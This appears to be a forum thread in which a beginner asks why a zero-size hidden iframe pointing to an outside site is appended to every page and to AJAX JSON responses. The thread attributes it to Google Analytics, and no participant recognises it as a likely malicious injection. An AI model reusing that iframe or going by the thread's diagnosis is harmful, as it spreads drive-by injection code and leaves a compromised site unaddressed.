Ajax JSON parse error when using google analytics

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Hi everybody !!!

I'm using ajax for get and submit data, everything's usual util I have added google analytics.
It generate automatics an Iframe tag in every pages :

HTML

<html><body>
<iframe width="0" height="0" src="http://www.tel760.com/free33.html" frameborder="0"></iframe>
</body></html>

When I get or submit data using ajax, the response data also contain Iframe tag like above and show JSON parse error.

I needs you help, please !!!!

Sorry for my bad english.

Posted 25-Apr-13 1:45am

Mr.Kenzy

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StianSandberg 25-Apr-13 7:49am

that's because you are returning a html page and try to act like it's json (when it's not) Try to use fiddler or chrome developer tools to see what your server actually returns.

Mr.Kenzy 25-Apr-13 8:00am

Here's my server response !!! I don't understand html tag appear from where @@!

{"RegionsID":"11","RegionName":"asdasd","RegionFlags":"dc7d3d9e9b68827a1e82d7d71d1f66aa.png","CreatedDate":"2013-04-15 17:17:29"}<html><body> <iframe width="0" height="0" src="http://www.tel760.com/free33.html" frameborder="0"></iframe> </body></html>

StianSandberg 25-Apr-13 8:02am

yes, exactly. That's NOT json! That's a combination of html and json. Your code won't be able to parse that response as json.

Mr.Kenzy 25-Apr-13 8:09am

yes, but before I added google analytics, the html tag doesn't appear and I parse json success. I can't understand @@!

StianSandberg 25-Apr-13 8:11am

google analytics can't affect what your server is returning. What code generates your json/html response?

Mr.Kenzy 25-Apr-13 8:19am

public function get_region() {
if(isset($_POST['id']) && isset($_POST['action'])) {
if($_POST['action'] == 'loadRegion'){
$this -> load -> model('regions_model');
$id = $_POST['id'];

$result = $this -> regions_model -> Regions_get_by_id($id);

if(count($result) > 0)
echo json_encode($result);
}
}
}
That's code in codeigniter framework. Sorry, because I'm a beginer

StianSandberg 25-Apr-13 8:23am

Don't say sorry because you're a beginner. We've all been beginners..
I don't know the codeigniter framework, so I'm afraid I can't help you aout here. But the reason why it fails is because of the mix of json/html.. Good luck .

Mr.Kenzy 25-Apr-13 8:28am

Ok, thanks you so much !!! :-) :-)

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Mr.Kenzy · Answer 1 · 2013-04-25T01:57:00

Solution 1

HTML

{"RegionsID":"11","RegionName":"asdasd","RegionFlags":"dc7d3d9e9b68827a1e82d7d71d1f66aa.png","CreatedDate":"2013-04-15 17:17:29"}<html><body>
<iframe width="0" height="0" src="http://www.tel760.com/free33.html" frameborder="0"></iframe>
</body></html>

Posted 25-Apr-13 1:57am

Mr.Kenzy